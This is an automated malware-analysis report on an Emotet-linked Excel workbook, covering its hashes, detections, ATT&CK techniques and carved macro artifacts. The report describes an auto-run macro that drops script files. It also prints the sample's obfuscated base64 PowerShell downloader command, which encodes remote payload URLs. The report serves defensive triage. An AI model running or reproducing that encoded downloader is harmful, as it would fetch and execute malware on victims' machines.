Emotet Office (OOXML) / .XLSX malware analysis — malicious · a99bbe5f53ea5fa4

MALICIOUS

Office (OOXML) / .XLSX

115.1 KB Created: 2015-06-05 18:17:20 UTC Authoring application: Microsoft Excel 12.0000

MD5: b9ab2e1522b69be9a5535fafeb6813c3 SHA-1: 66d5796d951f59a3e98dddbb5fec670da5a01d4b SHA-256: a99bbe5f53ea5fa425f3ab75bb0ba50a5e5b513c0c9de845e2208283923ad546

200 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK

T1059.005 Visual Basic T1059.001 PowerShell T1204.002 Malicious File

The file is identified as malicious by ClamAV and contains a Workbook_Open macro, indicating automatic execution upon opening. The VBA script attempts to create and execute a batch file named 'jledshf.bat' and a VBScript file named 'tghklsd.vbs' in the 'c:\programdata\' directory. The script also contains a heavily obfuscated PowerShell command that attempts to download and execute payloads from multiple URLs. The reconstructed PowerShell command is: 'hell -e 3RhgcABwBsAGkAcwBlADMAUgBoAGcARABaAFMANABjAGQAZgBnAD0AIgBoAHQAdABwADoALwAvAHMAdQBtAGUAZABoAGEAbwBuAGwAaQBuAGUALgBjAG8AbQAvAHcAcAAtAGMAbwBuAHQAZQBuAHQALwBIAHkAegBOAFgASgAzADAAWABPAFEAVgBjAEIAUwBSAEgALwAsAGgAdAB0AHAAOgAvAC8AZABpAHYAYQBjAGgAaQBuAHQAZQB4AHQAaQBsAGUAcwAuAGMAbwBtAC8AdwBwAC0AaQBuAGMAbAB1AGQAZQBzAC8AVwBXAGgAVwBSAEsAcwA4AEsAdgB6AE4ARgBtADYALwAsAGgAdAB0AHAAOgAvAC8AaABvAHQAZQBsAGEAbgBkAGEAbQBhAGwAYQBiAG8ALgBjAG8AbQAvADEANQAyADAALwBiAFUAZABoAEUAUABkAGYALwAsAGgAdAB0AHAAOgAvAC8AcwBoAHcAZQBuAGEAbgB0AGEAdwB3AGkAbgAuAGMAbwBtAC8AYwBvAHAAQW1hAC8AWABUAG4AWgBJAGkAMAAyAHYAZgBW'. This indicates a downloader functionality.

Heuristics 5

ClamAV: Xls.Downloader.EmotetExcel02223-9938902-0 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Xls.Downloader.EmotetExcel02223-9938902-0
Workbook_Open macro high OLE_VBA_WBOPEN

Workbook_Open macro
CreateObject call high OLE_VBA_CREATEOBJ

CreateObject call
Suspicious extracted artifact high EXTRACTED_FILE_STATIC_TRIAGE

One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
VBA project inside OOXML medium OOXML_VBA

Document contains vbaProject.bin — VBA macros present

Extracted artifacts 2

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`macros.bas` `df1eb14c222394595c0518b49eec2b55ed9573146c5f1717dedceddd2e199a2b`	vba-macro	oletools.olevba.extract_macros (decoded VBA source from OOXML)	12041 bytes
Detection ClamAV: No threats found Obfuscation or payload: likely Carved macro source contains an auto-exec entry point and execution/download terms.
`vbaProject_00.bin` `7e957a8e02964054b6667b4aacc3f8d7941ce49345f1b12c839e4683a49548a2`	vba-project	OOXML VBA project: xl/vbaProject.bin	42496 bytes
Detection ClamAV: No threats found Obfuscation or payload: likely Carved macro source contains an auto-exec entry point and execution/download terms.

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